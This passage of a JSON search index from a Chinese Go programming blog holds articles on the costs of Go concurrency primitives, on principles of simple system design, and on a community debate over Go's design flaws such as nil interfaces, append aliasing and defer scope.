通过主动让出，将非协作的自旋变成了协作式的等待。 runtime.Gosched() } c.counter++ atomic.AddUint64(\u0026amp;c.turn, 1) } func (c *CooperativeSpinningTicketLockCounter) Value() int64 { return c.counter } func BenchmarkCooperativeSpinningTicketLockCounter(b *testing.B) { b.SetParallelism(2) benchmark(b, \u0026amp;CooperativeSpinningTicketLockCounter{}) } 性能分析与讨论：\n基准测试结果为5048 ns/op：\n$go test -bench=\u0026#39;^BenchmarkCooperativeSpinningTicketLockCounter$\u0026#39; -benchmem goos: darwin goarch: amd64 pkg: demo cpu: Intel(R) Core(TM) i5-8257U CPU @ 1.40GHz BenchmarkCooperativeSpinningTicketLockCounter-8 328173 5048 ns/op 0 B/op 0 allocs/op PASS ok demo 1.701s 程序不再冻结，但性能成本极高，甚至高于我们之前测试的BlockingTicketLockCounter和YieldingTicketLockCounter。\nruntime.Gosched()在这里扮演了救世主的角色。它将一个可能导致系统停滞的活锁问题，转化成了一个单纯的、可预测的性能问题。每个等待的goroutine不再霸占CPU，而是礼貌地告诉调度器：“我还在等，但你可以先运行别的任务。” 这保证了持有锁的goroutine最终能获得执行机会。\n然而，这份“保证”的代价是高昂的。每次Gosched()调用都可能是一次昂贵的调度事件。在超订的高竞争场景下，每个Inc()操作都可能触发多次Gosched()，累加起来的成本甚至超过了sync.Cond的显式休眠/唤醒。\n因此，这个测试结果为我们的成本层级清单增加了一个重要的层次：它处于Level 3和Level 4之间，可以看作是一个“高成本的Level 3”。它展示了通过主动协作避免系统性崩溃，但为此付出了巨大的性能开销。\nLevel 1: 无竞争原子操作 – 设计的力量 (~6 ns) 性能优化的关键转折点在于从“处理竞争”转向“避免竞争”。Level 1的核心思想是通过设计，将对单个共享资源的竞争分散到多个资源上，使得每次操作都接近于无竞争状态。\nGo实现：分片计数器 (Sharded Counter) // --- Level 1: Uncontended Atomics (Sharded) --- const numShards = 256 type ShardedCounter struct { shards [numShards]struct{ counter int64; _ [56]byte } } func (c *ShardedCounter) Inc() { idx := rand.Intn(numShards) // 随机选择一个分片 atomic.AddInt64(\u0026amp;c.shards[idx].counter, 1) } func (c *ShardedCounter) Value() int64 { var total int64 for i := 0; i \u0026lt; numShards; i++ { total += atomic.LoadInt64(\u0026amp;c.shards[i].counter) } return total } func BenchmarkShardedCounter(b *testing.B) { benchmark(b, \u0026amp;ShardedCounter{}) } 性能分析与讨论: 5.997 ns/op！性能实现了数量级的飞跃。通过将写操作分散到256个独立的、被缓存行填充（padding）保护的计数器上，我们几乎完全消除了缓存行弹跳。Inc()的成本急剧下降到接近单次无竞争原子操作的硬件极限。代价是Value()操作变慢了，且内存占用激增。这是一个典型的空间换时间、读性能换写性能的权衡。\nLevel 0: “香草(Vanilla)”操作 – 并发的终极圣杯 (~0.26 ns) 性能的顶峰是Level 0，其特点是在热路径上完全不使用任何原子指令或锁，只使用普通的加载和存储指令（vanilla instructions）。\nGo实现：Goroutine局部计数 我们通过将状态绑定到goroutine自己的栈上，来彻底消除共享。\n// --- Level 0: Vanilla Operations (Goroutine-Local) --- func BenchmarkGoroutineLocalCounter(b *testing.B) { var totalCounter int64 b.ResetTimer() b.RunParallel(func(pb *testing.PB) { var localCounter int64 // 每个goroutine的栈上局部变量 for pb.Next() { localCounter++ // 在局部变量上操作，无任何同步！ } // 在每个goroutine结束时，将局部结果原子性地加到总数上 atomic.AddInt64(\u0026amp;totalCounter, localCounter) }) } 性能分析与讨论: 0.2608 ns/op！这个数字几乎是CPU执行一条简单指令的速度。在RunParallel的循环体中，localCounter++操作完全在CPU的寄存器和L1缓存中进行，没有任何跨核通信的开销。所有的同步成本（仅一次atomic.AddInt64）都被移到了每个goroutine生命周期结束时的冷路径上。这种模式的本质是通过算法和数据结构的重新设计，从根本上消除共享。\n结论：你的Go并发操作成本清单 基于真实的Go benchmark，我们得到了这份为Gopher量身定制的并发成本清单：\n有了这份清单，我们可以：\n系统性地诊断：对照清单，分析你的热点代码究竟落在了哪个成本等级。 明确优化方向：最大的性能提升来自于从高成本层级向低成本层级的“降级”。 优先重构算法：通往性能之巅（Level 1和Level 0）的道路，往往不是替换更快的锁，而是从根本上重新设计数据流和算法。 Go的运行时为我们抹平了一些最危险的底层陷阱，但也让性能分析变得更加微妙。这份清单，希望能成为你手中那张清晰的地图，让你在Go的并发世界中，告别猜谜，精准导航\n参考资料：https://travisdowns.github.io/blog/2020/07/06/concurrency-costs.html\n本文涉及的示例源码可以在这里下载 – https://github.com/bigwhite/experiments/tree/master/concurrency-costs\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/08/26/go-concurrency-cost-hierarchy/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/go-concurrency-cost-hierarchy-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/08/26/go-concurrency-cost-hierarchy\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/08/26/go-concurrency-cost-hierarchy\"\u003ehttps://tonybai.com/2025/08/26/go-concurrency-cost-hierarchy\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003eGo语言的并发模型以其简洁直观著称，但这种简单性背后，隐藏着一个跨越五个数量级的巨大性能鸿沟。当你的高并发服务遭遇性能瓶颈时，你是否也曾陷入“性能猜谜”的困境：是sync.Mutex太慢？是atomic操作不够快？还是某个channel的阻塞超出了预期？我们往往依赖直觉和pprof的零散线索，却缺乏一个系统性的框架来指导我们的判断。\u003c/p\u003e","title":"告别性能猜谜：一份Go并发操作的成本层级清单"},{"content":"\n本文永久链接 – https://tonybai.com/2025/08/26/good-system-design\n大家好，我是Tony Bai。\n在技术圈，我们常常被各种“炫技式”的系统设计建议所包围。从入门级的“你一定没听说过队列吧？”到专家级的“在数据库里存布尔值简直是灾难”，这些建议要么过于肤浅，要么过于精巧，往往脱离了大多数工程实践的真实上下文。就连《设计数据密集型应用》这样的经典之作，虽然深刻，却也可能与我们日常面对的大多数问题有些距离。\n那么，究竟什么是好的系统设计？如果说软件设计是如何组织代码，那么系统设计就是如何组织服务。其基本元素不再是变量和函数，而是应用服务器、数据库、缓存、队列、事件总线和代理。\n近日，一篇名为《我所知道的关于优秀系统设计的一切》的文章在工程师社群中引发了广泛共鸣。其核心观点让人耳目一新：优秀的系统设计，往往看起来平平无奇，甚至有些“无聊”。这种“无聊”，恰恰是系统长期稳定、易于维护的标志。\n在本文中，我就和大家一起深入这篇文章的核心思想，看看这位作者所说的“无聊即可靠”的系统设计法则究竟都是哪些！\n识别优秀设计：于无声处听惊雷 优秀的设计是什么样的？它往往是“无感的”。当你发现一个功能实现起来比预想的要简单，或者你几乎从不需要去关心系统的某个部分，因为它总是在默默地、可靠地工作时，你就身处一个优秀的设计之中。\n这引出了一个悖论：优秀的设计是自我掩饰的，而糟糕的设计往往看起来更令人印象深刻。一个充斥着分布式共识、多种事件驱动模式、CQRS 等“高级”概念的系统，常常让我们心生警惕。这背后，要么是为了弥补某个根本性的错误决策，要么就是赤裸裸的过度设计。\n许多工程师看到复杂的系统，会惊叹：“这里发生了好多系统设计！” 但事实恰恰相反，复杂通常是优秀设计缺位的体现。当然，有些系统的复杂性是业务本身带来的，它们不可避免。但一个能正常工作的复杂系统，永远是从一个能正常工作的简单系统演化而来的。从零开始构建一个复杂系统，几乎注定会走向失败。\n这与 Go 语言的哲学高度契合。Go 本身就是一门“无聊”的语言，它刻意回避了许多其他语言中的复杂特性，以换取无与伦比的简洁性、可靠性和工程效率。同样，优秀的 Go 系统设计，也应该追求这种“无聊”的可靠性。\n状态与无状态：系统设计的核心难题 软件工程中最困难的部分，永远是状态管理。只要你需要在任何时间段内存储任何信息，一系列棘手的决策就会接踵而至。相反，不存储任何信息的应用被称为“无状态”的。\n法则一：最大限度地减少有状态组件。\n虽然我们应该最小化所有组件，但有状态的组件尤其危险，因为它们会进入“坏的状态”。一个无状态的服务（比如 PDF 转 HTML 服务）可以被容器编排系统（如 Kubernetes）轻易地杀死和重启，从而实现故障自愈。但一个有状态的服务（如数据库）却不能。如果数据库中出现一条格式错误的“脏数据”导致应用崩溃，你就必须手动介入修复。\n在实践中，这意味着我们应该努力将系统划分成两种角色：\n少数的有状态服务：它们负责与数据库等持久化存储打交道，是状态的“守护者”。\n大量的无状态服务：它们负责处理业务逻辑、计算等任务，本身不存储任何持久化状态。\n要严格避免让五个不同的服务去写同一张数据库表。更好的模式是，让其中四个服务通过 API 请求或发布事件的方式，与那个唯一的“状态守护者”服务通信，将所有写逻辑都封装在守护者服务内部。对于读逻辑，虽然可以稍微放宽，但将读操作也收敛到一个服务中，依然是更优的选择，只是有时为了性能，我们会容忍一些服务直接读取数据库副本。\n数据库：状态的心脏 既然状态管理是核心，那么承载状态的数据库自然就是系统的心脏。以下是围绕关系型数据库（如 PostgreSQL）的一些关键实践。\n法则二：精心设计“刚刚好”的 Schema 和索引。\nSchema 设计：Schema 设计需要在灵活性和规范性之间找到平衡。一旦数据量达到百万级别，修改 Schema 将会是一场噩梦。但如果过度追求灵活性，例如将所有数据都塞进一个 JSON 字段，或者使用 EAV（实体-属性-值）模型，虽然初期开发快，但会将巨大的复杂性和潜在的性能问题转移到应用层代码中。一个好的标准是：你的表结构应该能让一个新人大致读懂应用的业务模型。 索引：索引是数据库性能的命脉。要根据最常见的查询模式来创建索引。例如，如果你经常按 WHERE user_id = ? AND status = ? 查询，那么就应该创建一个 (user_id, status) 的复合索引。索引的顺序至关重要，应该将选择性更高（基数更大）的字段放在前面。user_id 的值远比 status（可能只有几种状态）要多，所以 (user_id, status) 远优于 (status, user_id)。同时，不要滥用索引，因为每个索引都会增加写的开销。 法则三：让数据库做它最擅长的事。\n在高流量应用中，数据库访问往往是最大的瓶颈。\n避免 N+1 查询：这是 ORM 带来的常见陷阱。如果你需要从多个表中获取数据，优先使用 JOIN，而不是在应用代码中先查询一个表，然后在循环中逐个查询另一个表。在 Go 中，即使使用 database/sql 或 sqlx，也应通过 IN 子句等方式批量获取数据。\n善用读写分离：典型的数据库架构包含一个主节点（写）和多个从节点（读）。将尽可能多的读请求路由到只读副本上，可以极大地减轻主节点的压力。唯一的例外是那些无法容忍任何复制延迟的场景。\n警惕写风暴：对数据库压力最大的操作是写，尤其是事务中的写。如果你的服务可能会产生突发的写请求（例如批量导入功能），务必考虑在应用层进行节流（Throttling）或缓冲。一个简单的 Go 实现可以是，将批量任务拆分成小任务，通过一个带缓冲的 channel 发送给一组 worker goroutine，由它们平滑地写入数据库。\n慢操作与快操作：队列是你的朋友 一个服务需要快速响应用户的交互（如 API 请求），通常在几百毫秒内。但有些操作天生就很慢（如视频转码）。\n法则四：将慢操作异步化，使用后台作业（Background Jobs）。\n通用模式是将**“能为用户提供即时价值的最小工作单元”**同步完成，将其余的慢操作放入后台作业中处理。例如，用户上传视频后，立即返回“上传成功，正在处理中”，然后将转码任务放入队列。\n每个技术公司都会有一套后台作业系统，通常由两部分组成：一个队列（如 Redis、RabbitMQ）和一个作业执行服务。在 Go 生态中，Asynq 和 Machinery 是非常成熟和流行的选择。对于需要延迟执行的任务（例如一个月后发送提醒邮件），直接写入数据库表，然后用定时任务（如 Go 的 cron 库）去扫描和触发，是一种更“无聊”也更可靠的模式。\n缓存：一把锋利的双刃剑 当一个慢操作的结果可以被多个用户复用时，缓存就派上了用场。\n法则五：谨慎使用缓存，优化优于缓存。\n初级工程师热衷于缓存一切，而资深工程师则对缓存避之不及。为什么？因为缓存引入了新的状态，它会过时、会与数据源不一致、会引发难以排查的“幽灵”Bug。在缓存一个慢查询之前，请先确认它是否已经有了最优的索引。\n在 Go 中，我们可以使用 sync.Map 或带锁的 map 实现简单的内存缓存，也可以使用 Redis 等外部服务实现分布式缓存。一个有用的“无聊”缓存技巧是，对于那些计算成本极高且不常变化的大型报告，可以用一个定时作业（cron job）每天生成一次，然后将结果（如 JSON 或 Parquet 文件）存入对象存储（如 S3）。API 服务直接从对象存储中提供这个静态文件，这远比维护一个复杂的分布式缓存系统要简单和可靠。\n事件：当“不知情”成为一种美德 除了作业队列，事件总线（如 Kafka、NATS）是另一种重要的异步机制。\n法则六：当发送者不关心（或不应关心）接收者的行为时，使用事件。\n事件与 API 调用的核心区别在于耦合度。API 调用是一种紧耦合的、同步的请求-响应模式。而事件是一种松耦合的、发布-订阅模式。发送者只负责声明“某件事发生了”（如 UserSignedUp），它不关心谁在监听，也不等待任何结果。\n在 Go 中，NATS 是一个非常流行的、云原生友好的选择。一个典型的场景是：用户注册服务在成功创建用户后，向 NATS 发布一条 UserSignedUp 事件。下游的邮件服务、风控服务、数据分析服务可以各自订阅并处理这条事件，它们之间互不影响，注册服务也不需要知道它们的存在。\n热路径：将精力花在刀刃上 一个复杂的系统有无数的数据流和用户交互路径，试图让每一处都完美是不现实的。\n法则七：识别并聚焦于“热路径”。\n“热路径”指的是系统中最关键和流量最大的部分。在一个电商系统中，“商品浏览”和“下单支付”是热路径，而“修改用户头像”则不是。\n热路径的决策空间更小，犯错的成本也更高。一个设计糟糕的设置页面可能只会影响少数用户，但一个有性能问题的下单接口，则可能导致整个业务瘫痪。我们应该将最好的工程资源、最审慎的设计和最完善的监控，都投入到热路径上。\n可观测性：照亮黑暗的角落 法则八：在“不开心”的路径上积极地留下痕迹。\n当系统出现问题时，日志和指标是我们唯一的线索。\n日志：许多工程师为了代码的“优雅”而不愿添加日志。这是一个巨大的错误。尤其是在错误处理、业务决策分支等“unhappy path”上，要积极地、结构化地打日志。Go 1.21+ 内置的 log/slog 包是实现结构化日志的绝佳工具。一个好的日志应该告诉你“为什么”会走到这个分支，而不仅仅是“走到了”这个分支。 指标：除了 CPU、内存等基础指标，还要关注核心业务指标，如队列长度、作业处理耗时、API 响应时间等。尤其要关注 P95/P99 延迟，因为平均值会掩盖掉那些最大、最重要的用户正在遭受的痛苦。 为失败而设计：优雅地倒下 法则九：思考系统在最坏情况下的行为。\n重试：不能盲目重试。对于失败的请求，应采用带抖动的指数退避策略，避免在下游服务已经过载时，用重试请求将其彻底压垮。 幂等性：对于所有会产生副作用的写操作（如支付），必须保证其幂等性。经典的实现方式是，在请求中加入一个唯一的“幂等键”（Idempotency Key），服务端记录下处理过的键，对于重复的请求直接返回之前的结果。 故障开关与优雅降级：想清楚当某个依赖不可用时，系统应该**“故障开放”（Fail-Open）还是“故障关闭”（Fail-Closed）**。限流系统通常应该故障开放，因为可用性比精确限流更重要。而认证系统则必须故障关闭。 小结：拥抱“无聊”的智慧 系统设计的核心，不是追逐时髦的技术或精巧的架构，而是像一个经验丰富的管道工，知道如何用最普通、最可靠的组件，以最稳固的方式将它们连接起来。在大型科技公司，这些“无聊”的组件——事件总线、缓存服务、作业队列——都已是现成的基础设施。此时，优秀的系统设计，就是以最简单直接的方式，将它们恰当地组合起来，解决业务问题。\n这种对简洁、可靠和务实的追求，与 Go 语言的设计哲学如出一辙。也许，最激动人心的系统设计，正是那个能让未来接手它的工程师感叹“嗯，这里没什么特别的，一切都理所当然”的设计。因为“理所当然”的背后，是深思熟虑的简单，是千锤百炼的可靠。\n资料链接：https://www.seangoedecke.com/good-system-design/\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/08/26/good-system-design/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/good-system-design-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/08/26/good-system-design\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/08/26/good-system-design\"\u003ehttps://tonybai.com/2025/08/26/good-system-design\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在技术圈，我们常常被各种“炫技式”的系统设计建议所包围。从入门级的“你一定没听说过队列吧？”到专家级的“在数据库里存布尔值简直是灾难”，这些建议要么过于肤浅，要么过于精巧，往往脱离了大多数工程实践的真实上下文。就连《设计数据密集型应用》这样的经典之作，虽然深刻，却也可能与我们日常面对的大多数问题有些距离。\u003c/p\u003e","title":"无聊即可靠：一位资深工程师的九条系统设计法则"},{"content":"\n本文永久链接 – https://tonybai.com/2025/08/25/go-is-still-not-good\n大家好，我是Tony Bai。\n在技术圈，平静的湖面下往往暗流涌动。对于Go语言社区而言，这股潜藏已久的暗流，被近期的一篇名为《Go is still not good》的博文彻底引爆。作者Thomas Habets，一位自称拥有超过十年Go使用经验的资深开发者，在他的这篇文章中系统性地列举了他眼中Go语言的“七宗罪”。这篇文章迅速登上Hacker News热榜，吸引了超过700条评论，形成了一场规模空前的社区大辩论。\n参与者中不乏Go的早期采纳者、贡献者和日常重度使用者。他们争论的焦点，早已超越了语法糖的优劣，直指Go语言最核心的设计哲学——那些曾被誉为“简单”和“务实”的基石，如今在一些开发者眼中，却成了束缚发展、埋下隐患的“原罪”。\n在这篇文章中，我就和大家一起跟随这场激辩，逐一剖析这引发轩然大波的“七宗罪”，看看从中能得到哪些有益的启示。\n第一宗罪：歧义之空——nil 的双重身份 这是Go语言中最著名的“陷阱”，也是原文作者打响的第一枪。一个持有nil指针的接口变量，其自身并不等于nil。\npackage main import \u0026#34;fmt\u0026#34; type Error interface { Error() string } type MyError struct{} func (e *MyError) Error() string { return \u0026#34;my error\u0026#34; } func GetError() *MyError { // 假设在某种条件下，我们返回一个 nil 的具体错误类型指针 return nil } func main() { var err Error = GetError() // 输出: false // 尽管接口 err 内部持有的值是 nil，但接口本身因为包含了类型信息 (*MyError)，所以它不为 nil。 fmt.Println(err == nil) if err != nil { // 这段代码会被执行，然后可能在后续操作中引发 panic fmt.Printf(\u0026#34;An error occurred: %v (type: %T)\\n\u0026#34;, err, err) // err.Error() // 若MyError的Error方法有解引用操作，此处会panic } } 我们知道：Go的接口（interface）在内部实现为一个包含两部分的“胖指针”（fat pointer）：一个指向类型元数据的指针和一个指向实际数据的指针。只有当这两个指针都为nil时，接口变量本身才被认为是nil。在上述例子中，err的内部状态是(type=*MyError, value=nil)。因为类型信息存在，err != nil的判断为真，导致程序逻辑错误地进入了错误处理分支，挑战了开发者的常规直觉。\n社区激辩：\n批评者阵营：Hacker News上，有用户提供了一个经典的Playground示例，展示了这个问题如何在生产环境中导致panic，并评论道：“这确实会在生产中咬你一口，而且在代码审查中极易被忽略。”另一位用户则更为尖锐，他引用了Rob Pike关于Go是为“非研究型、刚毕业的年轻工程师”设计的言论，反问道：“一个声称为了简化编程而设计的语言，却包含如此令人困惑的nil行为，这本身就是一种讽刺。”\n辩护者阵营：另一派观点认为，这并非缺陷，而是Go底层数据结构逻辑的直接体现。有开发者解释道：“接口值是一个包含类型和值的偶对。(\u0026amp;Cat, nil)当然不等于(nil, nil)。”他们认为，一旦理解了接口的内存模型，这个问题便不再神秘，甚至可以利用这一特性（例如，在nil接收者上调用方法）。然而，这种辩护本身就强化了批评者的观点：一门标榜高级和简单的语言，却要求开发者对底层的实现细节有如此深刻的理解，这是否可以看作设计上的一种失败呢？\n第二宗罪：作用域之惑——被迫扩展的err变量生命周期 Go通过if err := foo(); err != nil语法，优雅地将err变量的作用域限制在if块内，这被广泛认为是最佳实践。然而，当函数调用需要返回除error之外的值时，这种优雅便荡然无存。\nbar, err := foo() if err != nil { return err } // 此处的err变量将在整个函数剩余部分都有效，即使它现在的值是nil if err = foo2(); err != nil { // 复用err return err } // ... 大量代码 ... return err Go的短变量声明:=要求左侧至少有一个新变量。为了接收bar这个新值，err也被迫在函数作用域内被重新声明（或首次声明）。这导致err的生命周期被人为地拉长，污染了整个函数的作用域。\n社区激辩：\n批评者阵营：原文作者尖锐地指出，这种设计“强迫你做错误的事情”。一个本应是局部的错误变量，现在却像个幽灵一样在整个函数中游荡，增加了代码阅读者的认知负担。读者必须时刻追踪err变量最后一次被赋值的位置，这极易导致bug，尤其是在重构或修改长函数时。 辩护者阵营：对此的辩护声音较弱，大多认为这是个“可以忍受的小麻烦”。他们认为，这是为了保持语法一致性（:=的规则）而付出的代价。然而，这恰恰暴露了Go在追求一种形式上的“简单”时，牺牲了更重要的“上下文清晰性”。 第三宗罪：所有权之乱——append的隐式副作用 slice是Go的基石之一，但其与底层数组（backing array）的模糊关系，通过append函数暴露无遗，构成了另一个经典的“搬起石头砸自己的脚”。\n原文的例子一针见血地揭示了append行为的不可预测性：\npackage main import \u0026#34;fmt\u0026#34; func main() { // 案例一：当容量足够时，发生“幽灵写入” a := []string{\u0026#34;hello\u0026#34;, \u0026#34;world\u0026#34;, \u0026#34;!\u0026#34;} b := a[:1] // b与a共享底层数组，且cap(b) == 3 b = append(b, \u0026#34;NIGHTMARE\u0026#34;) // 修改了b，因为容量足够，直接修改了底层数组 fmt.Println(a)// 结果：a变成了[hello NIGHTMARE !] // 案例二：当容量不足时，修改“失败” a = []string{\u0026#34;hello\u0026#34;, \u0026#34;world\u0026#34;, \u0026#34;!\u0026#34;} b = a[:1] b = append(b, \u0026#34;BACON\u0026#34;, \u0026#34;THIS\u0026#34;, \u0026#34;SHOULD\u0026#34;, \u0026#34;WORK\u0026#34;) // 容量不足，分配了新数组 fmt.Println(a)// 结果：a依然是[hello world !] } 我们知道：append的行为取决于slice的容量（cap）。如果追加后未超出容量，它会就地修改底层数组；否则，会分配一个新的、更大的数组。这种设计不仅让append的性能变得不确定，更严重的是，它破坏了函数调用的封装性，使得slice既不像值类型（可能被远程修改），也不像纯粹的引用类型（可能因重分配而断开联系）。\n社区激辩：\n批评者阵营：Hacker News上一位获得高赞的评论是这样的：“append的例子是Go缺陷中最恶劣、最不可原谅的。”这种行为使得数据流变得难以追踪，迫使开发者必须时刻警惕slice的容量，或养成防御性编程的习惯，例如总是重新接收append的返回值。这与Go追求的“明确”背道而驰。 辩护者阵营：支持者认为这是为了性能做出的合理权衡，避免了不必要的内存分配。他们强调，Go官方文档已明确说明了slice的工作原理。然而，这再次回到了那个核心问题：一门标榜“简单”的语言，是否应该包含如此微妙且需要深度理解才能安全使用的核心数据结构？ 第四宗罪：作用域陷阱——函数级的defer defer是Go处理资源释放的利器，但它的作用域是整个函数，而非其所在的词法块（lexical scope）。这在循环中处理资源时会成为一个严重的资源泄漏问题。\nfor _, file := range files { f, err := os.Open(file) if err != nil { /* ... */ continue } // defer不会在每次循环结束时执行，而是堆积到函数返回时执行 // 如果文件列表很长，将耗尽文件句柄 defer f.Close() // ... process file } 根本原因在于defer语句的执行被推入一个与当前函数关联的栈中，在函数返回前统一执行。这简化了编译器的实现，并确保了panic时资源也能被释放。\n社区激辩：\n批评者阵营：一个开发者的高赞评论代表了社区的普遍困惑：“我至今不明白defer为什么是函数作用域而非词法作用域。”这与C++的RAII或Java的try-with-resources相比，是一种设计上的倒退。公认的解决方法是使用匿名函数func(){…}()包裹循环体，但这无疑增加了代码的丑陋和复杂性。 辩护者阵营：有用户指出，函数级作用域也有其便利之处，例如可以在if块中有条件地注册一个defer。但总体而言，社区普遍认为，默认应该是更安全、更符合直觉的词法作用域。 第五宗罪：异常之隐——被标准库“吞噬”的panic Go的哲学是：error用于可预见的错误，panic用于程序无法继续的灾难。然而，作者指出，标准库中的fmt.Print和net/http服务器等关键部分，会主动recover从panic中恢复，这破坏了panic的基本约定。\n这意味着开发者必须编写“异常安全”的代码。你必须假设任何传递给标准库的代码都可能在panic后被恢复。因此，像互斥锁（mutex）这样的资源必须通过defer来确保释放，否则一旦发生被“吞噬”的panic，就会造成死锁。作者愤怒地指出：“所有希望都破灭了。你必须写异常安全的代码，但你又不应该使用异常。你只能承受异常带来的所有负面影响。”\n社区激辩：这一点在社区中几乎没有辩护的声音。这被视为一种设计上的不一致和“伪善”。语言在表层倡导一种错误处理哲学，却在底层库中悄悄破坏它，迫使开发者为这种矛盾买单。\n第六宗罪：编码之殇——对非UTF-8的“绥靖政策” Go的string类型本质是只读的[]byte，不强制其为合法的UTF-8。这在与操作系统交互（如处理文件名）时提供了灵活性，但也埋下了隐患。\n作者控诉，这种“宽松”策略是数据丢失的根源。当工具不假思索地按UTF-8处理文件名时，遇到非UTF-8编码的文件名可能会跳过或处理失败，导致在备份、恢复等关键操作中“静默地”遗漏数据。\n社区激辩：\n批评者阵营：他们认为类型系统应防止此类错误。有用户激烈地评论道：“Go让你很容易做那些看起来99.7%的时间都有效，但却是愚蠢、错误、不正确的事情……然后有一天，你的用户就因为一个非UTF-8文件名而永久丢失了数据。” 辩护者阵营：另一方则认为Go的做法才是务实的。有用户指出，一个强制Unicode正确性的文件接口在真实世界中是有问题的。Rust的OsStr虽然严谨，但人体工程学极差。Go的方式虽然“混乱”，但在实践中更方便。这揭示了严谨性与便利性之间的深刻矛盾。 第七宗罪：承诺之虚——伪善的“简单”与被忽视的性能 这并非单一技术点，而是对Go整体设计理念的综合批判。\n简单性的代价是复杂性转移：许多评论者指出，Go语言层面的“简单”，是把复杂性推给开发者来承担。没有枚举、没有强大的泛型（即使1.18加入了，也限制颇多）、没有Result类型，导致开发者需要手写大量重复的样板代码和自定义数据结构。 内存管理的“信任危机”：原文作者提到“RAM is cheap”是危险的思维。Hacker News上有开发者分享了其在内存敏感项目中被Go的非压缩GC和堆碎片化问题折磨的经历，他们甚至不得不重写部分标准库以避免内存分配。这与Go宣称的“高性能”和“无忧GC”形成了鲜明对比。 为何着一篇文章能掀起千层浪？ 这场激辩之所以如此激烈，是因为它触及了Go社区内部长期存在的深层张力：\n“Google的Go” vs “世界的Go”：Go的许多设计源于解决Google内部特定问题的需求（C++编译慢、monorepo文化）。这种“出身”决定了它在某些方面与更广阔的编程世界存在脱节。早年对单调时钟的忽视就是典型例子。 简单主义 vs 现代语言特性：Go的创造者们带着一种“回归本源”的复古主义情怀，刻意回避了过去几十年编程语言理论的发展成果，如高级类型系统、代数数据类型等。这使得Go易于上手，但也让它在处理复杂逻辑时显得捉襟见肘，迫使开发者“用代码的冗余换取语言的简单”。 显式 vs 便利：if err != nil是显式的，但它不便利。Result类型和?操作符是便利的，但它在某种程度上是隐式的。Go坚定地站在了“显式”这一边，但社区中渴望“便利”的声音从未停止。 小结 将Go的这些“罪状”简单归结为“错误”也是片面的。它们是Go强硬的、自洽的设计哲学所带来的必然产物。\n这是一门有“历史”的现代语言：Go的设计深受其创造者们在C、Unix、Plan 9上的经验影响。它继承了C的简洁，但也继承了其对底层细节的暴露。 承认权衡，理解其生态位：Go在“开发效率”、“运行性能”和“语言简单性”之间做出了明确的取舍，在云原生、微服务领域找到了无与伦比的“甜蜜点”。 缓慢的进化也是一种承诺：Go团队对语言的改变极为谨慎，以维护其著名的向后兼容性承诺。但它并非一成不变。泛型的加入、for range循环变量作用域的修正，都表明Go在倾听社区的声音。 《Go is still not good》及其引发的激辩，为我们提供了一个宝贵的窗口，去重新审视这门既年轻又充满“历史感”的语言。它提醒我们，没有完美的语言，只有充满权衡的工具。\n对于Go开发者而言，理解这“七宗罪”的来龙去脉，不仅能帮助我们写出更健壮、更地道的代码，更能让我们清晰地认识到Go的优势与边界。与其无休止地争论它是否“足够好”，不如深入思考：它是否是解决我们当前问题的正确工具？ 而这，或许才是这场大辩论给予我们的最大启示。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/08/25/go-is-still-not-good/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/go-is-still-not-good-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca 